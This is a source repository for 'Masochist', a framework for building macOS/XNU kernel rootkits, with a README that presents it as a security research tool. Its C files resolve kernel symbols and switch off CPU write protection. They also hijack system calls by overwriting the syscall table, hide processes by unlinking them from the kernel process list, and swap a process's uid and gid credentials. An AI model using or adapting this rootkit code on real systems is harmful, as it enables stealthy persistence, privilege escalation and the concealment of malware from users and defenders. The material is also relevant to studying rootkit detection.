├── .DS_Store ├── tools └── slide.c ├── .gitignore ├── libmasochist ├── symbol.h ├── cpu.h ├── process.h ├── syscall.h ├── cpu.c ├── libmasochist.h ├── libmasochist.c ├── symbol.c ├── syscall.c ├── process.c ├── proc_internal.h └── sysproto.h ├── README.md └── LICENSE /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/squiffy/Masochist/HEAD/.DS_Store -------------------------------------------------------------------------------- /tools/slide.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int kas_info(int selector, void *value, size_t *size); 5 | 6 | int main() { 7 | 8 | uint64_t slide = 0; 9 | size_t size = sizeof(slide); 10 | kas_info(0, &slide, &size); 11 | printf("Kernel slide: 0x%llx\n", slide); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by https://www.gitignore.io 2 | 3 | ### Xcode ### 4 | build/ 5 | *.pbxuser 6 | !default.pbxuser 7 | *.mode1v3 8 | !default.mode1v3 9 | *.mode2v3 10 | !default.mode2v3 11 | *.perspectivev3 12 | !default.perspectivev3 13 | xcuserdata 14 | *.xccheckout 15 | *.moved-aside 16 | DerivedData 17 | *.xcuserstate 18 | 19 | -------------------------------------------------------------------------------- /libmasochist/symbol.h: -------------------------------------------------------------------------------- 1 | // 2 | // symbol.h 3 | // masochist 4 | // 5 | // Created by Squiffy on 11/11/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #ifndef __masochist__symbol__ 10 | #define __masochist__symbol__ 11 | 12 | void *find_symbol(const char *symbol); 13 | 14 | #endif /* defined(__masochist__symbol__) */ 15 | -------------------------------------------------------------------------------- /libmasochist/cpu.h: -------------------------------------------------------------------------------- 1 | // 2 | // cpu.h 3 | // masochist 4 | // 5 | // Created by Will Estes on 11/16/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #ifndef __masochist__cpu__ 10 | #define __masochist__cpu__ 11 | 12 | kern_return_t disable_write_protection(); 13 | kern_return_t enable_write_protection(); 14 | 15 | #endif /* defined(__masochist__cpu__) */ 16 | -------------------------------------------------------------------------------- /libmasochist/process.h: -------------------------------------------------------------------------------- 1 | // 2 | // process.h 3 | // masochist 4 | // 5 | // Created by Squiffy on 11/11/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #ifndef masochist_process_h 10 | #define masochist_process_h 11 | 12 | kern_return_t hide_process(pid_t pid); 13 | kern_return_t show_process(pid_t pid); 14 | kern_return_t change_process_ownership(pid_t pid, uid_t uid, gid_t gid); 15 | 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /libmasochist/syscall.h: -------------------------------------------------------------------------------- 1 | // 2 | // syscall.h 3 | // masochist 4 | // 5 | // Created by Squiffy on 11/13/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #ifndef __masochist__syscall__ 10 | #define __masochist__syscall__ 11 | 12 | kern_return_t init_sysent(); 13 | struct sysent *resolve_sysent(); 14 | kern_return_t hook_system_call(void *function_ptr, unsigned int syscall); 15 | kern_return_t orig_system_call(unsigned int syscall, struct proc *proc, void *a1, int *a2); 16 | 17 | #endif /* defined(__masochist__syscall__) */ 18 | -------------------------------------------------------------------------------- /libmasochist/cpu.c: -------------------------------------------------------------------------------- 1 | // 2 | // cpu.c 3 | // masochist 4 | // 5 | // Created by Will Estes on 11/16/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include "cpu.h" 12 | 13 | kern_return_t 14 | disable_write_protection() { 15 | 16 | uintptr_t cr0 = get_cr0(); 17 | cr0 &= ~CR0_WP; 18 | set_cr0(cr0); 19 | 20 | return KERN_SUCCESS; 21 | 22 | } 23 | 24 | kern_return_t 25 | enable_write_protection() { 26 | 27 | uintptr_t cr0 = get_cr0(); 28 | cr0 |= CR0_WP; 29 | set_cr0(cr0); 30 | 31 | return KERN_SUCCESS; 32 | } 33 | -------------------------------------------------------------------------------- /libmasochist/libmasochist.h: -------------------------------------------------------------------------------- 1 | // 2 | // libmasochist.h 3 | // masochist 4 | // 5 | // Created by Squiffy on 11/11/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #ifndef __masochist__libmasochist__ 10 | #define __masochist__libmasochist__ 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | extern struct mach_header_64 *kernel_header; 20 | extern uint64_t kernel_base; 21 | 22 | kern_return_t libmasochist_init(uint64_t slide); 23 | 24 | #endif /* defined(__masochist__libmasochist__) */ 25 | -------------------------------------------------------------------------------- /libmasochist/libmasochist.c: -------------------------------------------------------------------------------- 1 | // 2 | // libmasochist.c 3 | // masochist 4 | // 5 | // Created by Squiffy on 11/11/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #include "libmasochist.h" 10 | #include "syscall.h" 11 | 12 | struct mach_header_64 *kernel_header = NULL; 13 | uint64_t kernel_base = 0x0; 14 | 15 | extern LIST_HEAD(hiddenProcsHead, hiddenProc) hidden_procs_head; 16 | 17 | kern_return_t 18 | set_kernel_slide(uint64_t slide) { 19 | 20 | kernel_base = 0xffffff8000200000 + slide; 21 | kernel_header = (struct mach_header_64 *)kernel_base; 22 | 23 | return KERN_SUCCESS; 24 | } 25 | 26 | kern_return_t 27 | libmasochist_init(uint64_t slide) { 28 | 29 | set_kernel_slide(slide); 30 | 31 | /* No panic is better */ 32 | if(!kernel_header) 33 | return KERN_FAILURE; 34 | 35 | /* init sysent stuff */ 36 | init_sysent(); 37 | 38 | /* init the hidden procs list */ 39 | LIST_INIT(&hidden_procs_head); 40 | 41 | return KERN_SUCCESS; 42 | 43 | } 44 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Masochist 2 | 3 | Masochist is a framework for creating XNU based rootkits. Very useful in OS X and iOS security research. It can do cool things like: 4 | 5 | - Public symbol resoluton 6 | - Process manipulation 7 | - System call hijacking 8 | 9 | Masochist is currently compatible with 64-bit OS X machines (I think). I've only tested this on 10.10. If anyone is brave enough to try it on their system, I would be very grateful. 10 | 11 | ### Version 12 | 0.1 13 | 14 | 15 | ### Usage 16 | 17 | To use this code, please import these files into your kernel extension project in Xcode. Then, import the headers that you need to use. 18 | 19 | I recommend [this repo](https://github.com/squiffy/Masochist-Template) as a starting point for your project. It has been configured and is ready to be built inside Xcode. 20 | 21 | The API docs can be found on the Wiki page. 22 | 23 | 24 | ### Disclaimer 25 | 26 | Please don't do anything stupid/illegal with this. This stuff can break your Mac. If you're unsure, run OS X in a VM. 27 | 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2014, Squiffy 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | 8 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 9 | 10 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 11 | 12 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 13 | -------------------------------------------------------------------------------- /libmasochist/symbol.c: -------------------------------------------------------------------------------- 1 | // 2 | // symbol.c 3 | // masochist 4 | // 5 | // Created by Squiffy on 11/11/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include "libmasochist.h" 16 | #include "symbol.h" 17 | 18 | void * 19 | find_symbol(const char *symbol) { 20 | 21 | struct load_command *lc = NULL; 22 | struct segment_command_64 *seg = NULL; 23 | struct segment_command_64 *linkedit = NULL; 24 | 25 | /* Lets get the first load command */ 26 | 27 | lc = (struct load_command *)(sizeof(struct mach_header_64) + kernel_base); 28 | 29 | /* iterate through all of the load commands until we find __LINKEDIT */ 30 | int i; 31 | for(i = 0; i < kernel_header->ncmds; i++) { 32 | 33 | if(lc->cmd == LC_SEGMENT_64) { 34 | 35 | seg = (struct segment_command_64 *)lc; 36 | 37 | if(strcmp(seg->segname, "__LINKEDIT") == 0) { 38 | 39 | /* we found it */ 40 | linkedit = (struct segment_command_64 *)lc; 41 | break; 42 | 43 | } 44 | } 45 | 46 | /* next load command please */ 47 | lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); 48 | } 49 | 50 | if(linkedit == NULL) { 51 | 52 | /* We didn't find it */ 53 | printf("__LINKEDIT doesn't exit.\n"); 54 | return 0; 55 | 56 | } 57 | 58 | /* iterate through load commands again and look for LC_SYMTAB */ 59 | 60 | struct symtab_command *lc_symtab; 61 | for(i = 0; i < kernel_header->ncmds; i++) { 62 | 63 | if(lc->cmd == LC_SYMTAB) { 64 | 65 | lc_symtab = (struct symtab_command *)lc; 66 | lc = (struct load_command *)(sizeof(struct mach_header_64) + kernel_base); 67 | break; 68 | 69 | } 70 | 71 | lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); 72 | 73 | } 74 | 75 | /* Calculate the address to the symbol table and the string table */ 76 | 77 | uint64_t symbolTable = (linkedit->vmaddr + (lc_symtab->symoff) - linkedit->fileoff); 78 | uint64_t stringTable = (linkedit->vmaddr + (lc_symtab->stroff - linkedit->fileoff)); 79 | 80 | struct nlist_64 *nlist = (struct nlist_64 *)symbolTable; 81 | 82 | /* Iterate through the symbol table until we find what we're lookig for */ 83 | 84 | for(i = 0; i < lc_symtab->nsyms; i++) { 85 | 86 | if(!strcmp(symbol, (char *)(nlist->n_un.n_strx + stringTable))) { 87 | 88 | /* Found it! Return a pointer to the symbol */ 89 | return (void *)nlist->n_value; 90 | 91 | } 92 | 93 | /* next nlist please */ 94 | nlist = (struct nlist_64 *)(symbolTable + (i * sizeof(struct nlist_64))); 95 | } 96 | 97 | /* FAILURE */ 98 | return NULL; 99 | 100 | } -------------------------------------------------------------------------------- /libmasochist/syscall.c: -------------------------------------------------------------------------------- 1 | // 2 | // syscall.c 3 | // masochist 4 | // 5 | // Created by Squiffy on 11/13/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include "sysproto.h" 17 | #include "libmasochist.h" 18 | #include "symbol.h" 19 | #include "syscall.h" 20 | #include "cpu.h" 21 | 22 | struct sysent *sysent = NULL; 23 | struct sysent *sysent_copy = NULL; 24 | 25 | typedef int32_t sy_call_t(struct proc *, void *, int *); 26 | typedef void sy_munge_t(void *); 27 | 28 | struct sysent { /* system call table */ 29 | sy_call_t *sy_call; /* implementing function */ 30 | sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */ 31 | int32_t sy_return_type; /* system call return types */ 32 | int16_t sy_narg; /* number of args */ 33 | uint16_t sy_arg_bytes; /* Total size of arguments in bytes for 34 | * 32-bit system calls 35 | */ 36 | }; 37 | 38 | struct sysent * 39 | resolve_sysent() { 40 | 41 | /* Gonna have to brute force this... */ 42 | 43 | struct segment_command_64 *data = NULL; 44 | int i; 45 | 46 | struct load_command *lc = (struct load_command *)(sizeof(struct mach_header_64) + kernel_base); 47 | for(i = 0; i < kernel_header->ncmds; i++) { 48 | struct segment_command_64 *seg; 49 | if(lc->cmd == LC_SEGMENT_64) { 50 | seg = (struct segment_command_64 *)lc; 51 | if(strcmp(seg->segname, "__DATA") == 0) { 52 | /* we found it */ 53 | data = (struct segment_command_64 *)lc; 54 | break; 55 | } 56 | } 57 | 58 | /* next load command please */ 59 | lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); 60 | } 61 | 62 | uint64_t startAddress = data->vmaddr; 63 | uint64_t endAddress = (data->vmaddr + data->vmsize); 64 | 65 | struct sysent *sysent = NULL; 66 | 67 | while(startAddress <= endAddress) { 68 | 69 | sysent = (struct sysent *)startAddress; 70 | /* As per bsd/kern/init_sysent.c */ 71 | if(sysent[SYS_exit].sy_narg == 1 && 72 | sysent[SYS_fork].sy_narg == 0 && 73 | sysent[SYS_read].sy_narg == 3) { 74 | break; 75 | } 76 | 77 | startAddress++; 78 | 79 | } 80 | return sysent; 81 | } 82 | 83 | kern_return_t 84 | init_sysent() { 85 | 86 | 87 | uint64_t nsysent = *(uint64_t *)find_symbol("_nsysent"); 88 | sysent = resolve_sysent(); 89 | size_t size = nsysent*sizeof(struct sysent); 90 | sysent_copy = IOMalloc(size); 91 | 92 | if(sysent_copy == NULL) 93 | return KERN_FAILURE; 94 | 95 | memcpy(sysent_copy, sysent, size); 96 | 97 | return KERN_SUCCESS; 98 | 99 | } 100 | 101 | kern_return_t 102 | hook_system_call(void *function_ptr, unsigned int syscall) { 103 | 104 | uint64_t nsysent = *(uint64_t *)find_symbol("_nsysent"); 105 | 106 | if(syscall > (nsysent - 1)) 107 | return KERN_FAILURE; 108 | 109 | disable_write_protection(); 110 | sysent[syscall].sy_call = (sy_call_t *)function_ptr; 111 | enable_write_protection(); 112 | 113 | return KERN_SUCCESS; 114 | 115 | } 116 | 117 | int32_t 118 | orig_system_call(unsigned int syscall, struct proc *proc, void *a1, int *a2) { 119 | 120 | uint64_t nsysent = *(uint64_t *)find_symbol("_nsysent"); 121 | 122 | if(syscall > (nsysent -1)) 123 | return KERN_FAILURE; 124 | 125 | return sysent_copy[syscall].sy_call(proc, a1, a2); 126 | 127 | 128 | } 129 | -------------------------------------------------------------------------------- /libmasochist/process.c: -------------------------------------------------------------------------------- 1 | // 2 | // process.c 3 | // masochist 4 | // 5 | // Created by Squiffy on 11/11/14. 6 | // Copyright (c) 2014 squiffypwn. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include "proc_internal.h" 17 | #include "symbol.h" 18 | 19 | struct hiddenProc { 20 | 21 | struct proc *process; 22 | LIST_ENTRY(hiddenProc) processes; 23 | 24 | }; 25 | 26 | LIST_HEAD(hiddenProcsHead, hiddenProc) hidden_procs_head; 27 | 28 | struct proc * 29 | get_process(pid_t pid) { 30 | 31 | struct proclist *allproc = find_symbol("_allproc"); 32 | struct proc *process = NULL; 33 | 34 | LIST_FOREACH(process, allproc, p_list) { 35 | if(process->p_pid == pid) 36 | return process; 37 | } 38 | 39 | return 0; 40 | } 41 | 42 | kern_return_t 43 | hide_process(pid_t pid) { 44 | 45 | /* Find the required symbols */ 46 | struct proclist *allproc = find_symbol("_allproc"); 47 | void (*proc_list_lock)(void) = find_symbol("_proc_list_lock"); 48 | void (*proc_list_unlock)(void) = find_symbol("_proc_list_unlock"); 49 | 50 | /* Make sure they're all resolved */ 51 | if(!allproc || !proc_list_lock || !proc_list_unlock) 52 | return KERN_FAILURE; 53 | 54 | struct proc *process = NULL; 55 | 56 | /* Iterate through the entire process list just like Apple does */ 57 | for (process = allproc->lh_first; process != 0; process = process->p_list.le_next) { 58 | 59 | /* If process is the process we're looking for, hide it */ 60 | if(process->p_pid == pid) { 61 | /* XXX: Save into an array of hidden processes so we can recover it later */ 62 | 63 | /* Lock the process list before we modify it */ 64 | proc_list_lock(); 65 | 66 | /* Actually hdie the process. */ 67 | LIST_REMOVE(process, p_list); 68 | 69 | /* Unlock the list */ 70 | proc_list_unlock(); 71 | 72 | /* Add it to our list */ 73 | 74 | struct hiddenProc *item = IOMalloc(sizeof(struct hiddenProc)); 75 | 76 | item->process = process; 77 | 78 | LIST_INSERT_HEAD(&hidden_procs_head, item, processes); 79 | 80 | return KERN_SUCCESS; 81 | } 82 | 83 | } 84 | 85 | return KERN_FAILURE; 86 | 87 | } 88 | 89 | kern_return_t 90 | show_process(pid_t pid) { 91 | 92 | struct hiddenProc *item; 93 | 94 | /* Find the required symbols */ 95 | struct proclist *allproc = find_symbol("_allproc"); 96 | void (*proc_list_lock)(void) = find_symbol("_proc_list_lock"); 97 | void (*proc_list_unlock)(void) = find_symbol("_proc_list_unlock"); 98 | 99 | LIST_FOREACH(item, &hidden_procs_head, processes) { 100 | 101 | if(item->process->p_pid == pid) { 102 | proc_list_lock(); 103 | LIST_INSERT_HEAD(allproc, item->process, p_list); 104 | proc_list_unlock(); 105 | 106 | LIST_REMOVE(item, processes); 107 | IOFree(item, sizeof(struct hiddenProc)); 108 | return KERN_SUCCESS; 109 | } 110 | } 111 | 112 | return KERN_FAILURE; 113 | } 114 | 115 | kern_return_t 116 | change_process_ownership(pid_t pid, uid_t uid, gid_t gid) { 117 | 118 | void (*proc_list_lock)(void) = find_symbol("_proc_list_lock"); 119 | void (*proc_list_unlock)(void) = find_symbol("_proc_list_unlock"); 120 | kauth_cred_t (*kauth_cred_setuidgid)(kauth_cred_t, uid_t, gid_t) = find_symbol("_kauth_cred_setuidgid"); 121 | 122 | struct proc *process = get_process(pid); 123 | 124 | if(process == NULL) 125 | return KERN_FAILURE; 126 | 127 | kauth_cred_t origId = process->p_ucred; 128 | kauth_cred_t newId = kauth_cred_setuidgid(origId, uid, gid); 129 | 130 | proc_list_lock(); 131 | process->p_ucred = newId; 132 | proc_list_unlock(); 133 | 134 | return KERN_SUCCESS; 135 | 136 | } 137 | -------------------------------------------------------------------------------- /libmasochist/proc_internal.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2000-2010 Apple Inc. All rights reserved. 3 | * 4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. The rights granted to you under the License 10 | * may not be used to create, or enable the creation or redistribution of, 11 | * unlawful or unlicensed copies of an Apple operating system, or to 12 | * circumvent, violate, or enable the circumvention or violation of, any 13 | * terms of an Apple operating system software license agreement. 14 | * 15 | * Please obtain a copy of the License at 16 | * http://www.opensource.apple.com/apsl/ and read it before using this file. 17 | * 18 | * The Original Code and all software distributed under the License are 19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 23 | * Please see the License for the specific language governing rights and 24 | * limitations under the License. 25 | * 26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ 27 | */ 28 | /* Copyright (c) 1995, 1997 Apple Computer, Inc. All Rights Reserved */ 29 | /*- 30 | * Copyright (c) 1986, 1989, 1991, 1993 31 | * The Regents of the University of California. All rights reserved. 32 | * (c) UNIX System Laboratories, Inc. 33 | * All or some portions of this file are derived from material licensed 34 | * to the University of California by American Telephone and Telegraph 35 | * Co. or Unix System Laboratories, Inc. and are reproduced herein with 36 | * the permission of UNIX System Laboratories, Inc. 37 | * 38 | * Redistribution and use in source and binary forms, with or without 39 | * modification, are permitted provided that the following conditions 40 | * are met: 41 | * 1. Redistributions of source code must retain the above copyright 42 | * notice, this list of conditions and the following disclaimer. 43 | * 2. Redistributions in binary form must reproduce the above copyright 44 | * notice, this list of conditions and the following disclaimer in the 45 | * documentation and/or other materials provided with the distribution. 46 | * 3. All advertising materials mentioning features or use of this software 47 | * must display the following acknowledgement: 48 | * This product includes software developed by the University of 49 | * California, Berkeley and its contributors. 50 | * 4. Neither the name of the University nor the names of its contributors 51 | * may be used to endorse or promote products derived from this software 52 | * without specific prior written permission. 53 | * 54 | * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 55 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 56 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 57 | * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 58 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 59 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 60 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 61 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 62 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 63 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 64 | * SUCH DAMAGE. 65 | * 66 | * @(#)proc_internal.h 8.15 (Berkeley) 5/19/95 67 | */ 68 | /* 69 | * NOTICE: This file was modified by SPARTA, Inc. in 2005 to introduce 70 | * support for mandatory and extensible security protections. This notice 71 | * is included in support of clause 2.2 (b) of the Apple Public License, 72 | * Version 2.0. 73 | */ 74 | 75 | #ifndef _SYS_PROC_INTERNAL_H_ 76 | #define _SYS_PROC_INTERNAL_H_ 77 | 78 | #include 79 | #include 80 | #if PSYNCH 81 | #include 82 | #endif /* PSYNCH */ 83 | 84 | #if DEBUG 85 | #define __PROC_INTERNAL_DEBUG 1 86 | #endif 87 | 88 | struct lck_spin_t { 89 | unsigned long opaque[10]; 90 | }; 91 | 92 | struct lck_mtx_t { 93 | union { 94 | struct { 95 | volatile uintptr_t lck_mtxd_owner; 96 | union { 97 | struct { 98 | volatile uint32_t 99 | lck_mtxd_waiters:16, 100 | lck_mtxd_pri:8, 101 | lck_mtxd_ilocked:1, 102 | lck_mtxd_mlocked:1, 103 | lck_mtxd_promoted:1, 104 | lck_mtxd_spin:1, 105 | lck_mtxd_is_ext:1, 106 | lck_mtxd_pad3:3; 107 | }; 108 | uint32_t lck_mtxd_state; 109 | }; 110 | uint32_t lck_mtxd_pad32; 111 | } lck_mtxd; 112 | struct { 113 | struct _lck_mtx_ext_ *lck_mtxi_ptr; 114 | uint32_t lck_mtxi_tag; 115 | uint32_t lck_mtxi_pad32; 116 | } lck_mtxi; 117 | } lck_mtx_sw; 118 | }; 119 | 120 | /* 121 | * The short form for various locks that protect fields in the data structures. 122 | * PL = Process Lock 123 | * PGL = Process Group Lock 124 | * PFDL = Process File Desc Lock 125 | * PSL = Process Spin Lock 126 | * PPL = Parent Process Lock (planed for later usage) 127 | * LL = List Lock 128 | * SL = Session Lock 129 | */ 130 | struct label; 131 | 132 | /* 133 | * Added by SPARTA, Inc. 134 | */ 135 | /* 136 | * Login context. 137 | */ 138 | struct lctx { 139 | LIST_ENTRY(lctx) lc_list; /* List of all login contexts. */ 140 | LIST_HEAD(, proc) lc_members; /* Pointer to lc members. */ 141 | int lc_mc; /* Member Count. */ 142 | pid_t lc_id; /* Login context ID. */ 143 | struct lck_mtx_t lc_mtx; /* Mutex to protect members */ 144 | 145 | struct label *lc_label; /* Login context MAC label. */ 146 | }; 147 | 148 | /* 149 | * One structure allocated per session. 150 | */ 151 | struct session { 152 | int s_count; /* Ref cnt; pgrps in session. (LL) */ 153 | struct proc * s_leader; /* Session leader.(static) */ 154 | struct vnode * s_ttyvp; /* Vnode of controlling terminal.(SL) */ 155 | int s_ttyvid; /* Vnode id of the controlling terminal (SL) */ 156 | struct tty * s_ttyp; /* Controlling terminal. (SL + ttyvp != NULL) */ 157 | pid_t s_ttypgrpid; /* tty's pgrp id */ 158 | pid_t s_sid; /* Session ID (static) */ 159 | char s_login[MAXLOGNAME]; /* Setlogin() name.(SL) */ 160 | int s_flags; /* Session flags (s_mlock) */ 161 | LIST_ENTRY(session) s_hash; /* Hash chain.(LL) */ 162 | struct lck_mtx_t s_mlock; /* mutex lock to protect session */ 163 | int s_listflags; 164 | }; 165 | 166 | #define SESSION_NULL (struct session *)0 167 | 168 | /* 169 | * accessor for s_ttyp which treats it as invalid if s_ttyvp is not valid; 170 | * note that s_ttyp is not a reference in the session structre, so it can 171 | * become invalid out from under the session if the device is closed, without 172 | * this protection. We can't safely make it into a reference without reflexive 173 | * close notification of tty devices through cdevsw[]. 174 | * 175 | * NB: is not in scope and there is not typedef type enforcement, 176 | * or '0' below would be 'TTY_NULL'. 177 | */ 178 | #define SESSION_TP(sp) (((sp)->s_ttyvp != 0) ? (sp)->s_ttyp : 0) 179 | 180 | /* 181 | * Session flags; used to tunnel information to lower layers and line 182 | * disciplines, etc. 183 | */ 184 | #define S_DEFAULT 0x00000000 /* No flags set */ 185 | #define S_NOCTTY 0x00000001 /* Do not associate controlling tty */ 186 | #define S_CTTYREF 0x00000010 /* vnode ref taken by cttyopen */ 187 | 188 | 189 | #define S_LIST_TERM 1 /* marked for termination */ 190 | #define S_LIST_DEAD 2 /* already dead */ 191 | /* 192 | * One structure allocated per process group. 193 | */ 194 | struct pgrp { 195 | LIST_ENTRY(pgrp) pg_hash; /* Hash chain. (LL) */ 196 | LIST_HEAD(, proc) pg_members; /* Pointer to pgrp members. (PGL) */ 197 | struct session * pg_session; /* Pointer to session. (LL ) */ 198 | pid_t pg_id; /* Pgrp id. (static) */ 199 | int pg_jobc; /* # procs qualifying pgrp for job control (PGL) */ 200 | int pg_membercnt; /* Number of processes in the pgrocess group (PGL) */ 201 | int pg_refcount; /* number of current iterators (LL) */ 202 | unsigned int pg_listflags; /* (LL) */ 203 | struct lck_mtx_t pg_mlock; /* mutex lock to protect pgrp */ 204 | }; 205 | 206 | #define PGRP_FLAG_TERMINATE 1 207 | #define PGRP_FLAG_WAITTERMINATE 2 208 | #define PGRP_FLAG_DEAD 4 209 | #define PGRP_FLAG_ITERABEGIN 8 210 | #define PGRP_FLAG_ITERWAIT 0x10 211 | 212 | #define PGRP_NULL (struct pgrp *)0 213 | struct proc; 214 | 215 | #define PROC_NULL (struct proc *)0 216 | 217 | #define PROC_UPDATE_CREDS_ONPROC(p) { \ 218 | p->p_uid = kauth_cred_getuid(p->p_ucred); \ 219 | p->p_gid = kauth_cred_getgid(p->p_ucred); \ 220 | p->p_ruid = kauth_cred_getruid(p->p_ucred); \ 221 | p->p_rgid = kauth_cred_getrgid(p->p_ucred); \ 222 | p->p_svuid = kauth_cred_getsvuid(p->p_ucred); \ 223 | p->p_svgid = kauth_cred_getsvgid(p->p_ucred); \ 224 | } 225 | /* 226 | * Description of a process. 227 | * 228 | * This structure contains the information needed to manage a thread of 229 | * control, known in UN*X as a process; it has references to substructures 230 | * containing descriptions of things that the process uses, but may share 231 | * with related processes. The process structure and the substructures 232 | * are always addressible except for those marked "(PROC ONLY)" below, 233 | * which might be addressible only on a processor on which the process 234 | * is running. 235 | */ 236 | struct proc { 237 | LIST_ENTRY(proc) p_list; /* List of all processes. */ 238 | 239 | pid_t p_pid; /* Process identifier. (static)*/ 240 | void * task; /* corresponding task (static)*/ 241 | struct proc * p_pptr; /* Pointer to parent process.(LL) */ 242 | pid_t p_ppid; /* process's parent pid number */ 243 | pid_t p_pgrpid; /* process group id of the process (LL)*/ 244 | uid_t p_uid; 245 | gid_t p_gid; 246 | uid_t p_ruid; 247 | gid_t p_rgid; 248 | uid_t p_svuid; 249 | gid_t p_svgid; 250 | uint64_t p_uniqueid; /* process unique ID - incremented on fork/spawn/vfork, remains same across exec. */ 251 | uint64_t p_puniqueid; /* parent's unique ID - set on fork/spawn/vfork, doesn't change if reparented. */ 252 | 253 | struct lck_mtx_t p_mlock; /* mutex lock for proc */ 254 | 255 | char p_stat; /* S* process status. (PL)*/ 256 | char p_shutdownstate; 257 | char p_kdebug; /* P_KDEBUG eq (CC)*/ 258 | char p_btrace; /* P_BTRACE eq (CC)*/ 259 | 260 | LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */ 261 | LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/ 262 | LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/ 263 | TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads (PL) */ 264 | 265 | LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/ 266 | TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */ 267 | 268 | struct lck_mtx_t p_fdmlock; /* proc lock to protect fdesc */ 269 | 270 | /* substructures: */ 271 | kauth_cred_t p_ucred; /* Process owner's identity. (PL) */ 272 | struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */ 273 | struct pstats *p_stats; /* Accounting/statistics (PL). */ 274 | struct plimit *p_limit; /* Process limits.(PL) */ 275 | 276 | struct sigacts *p_sigacts; /* Signal actions, state (PL) */ 277 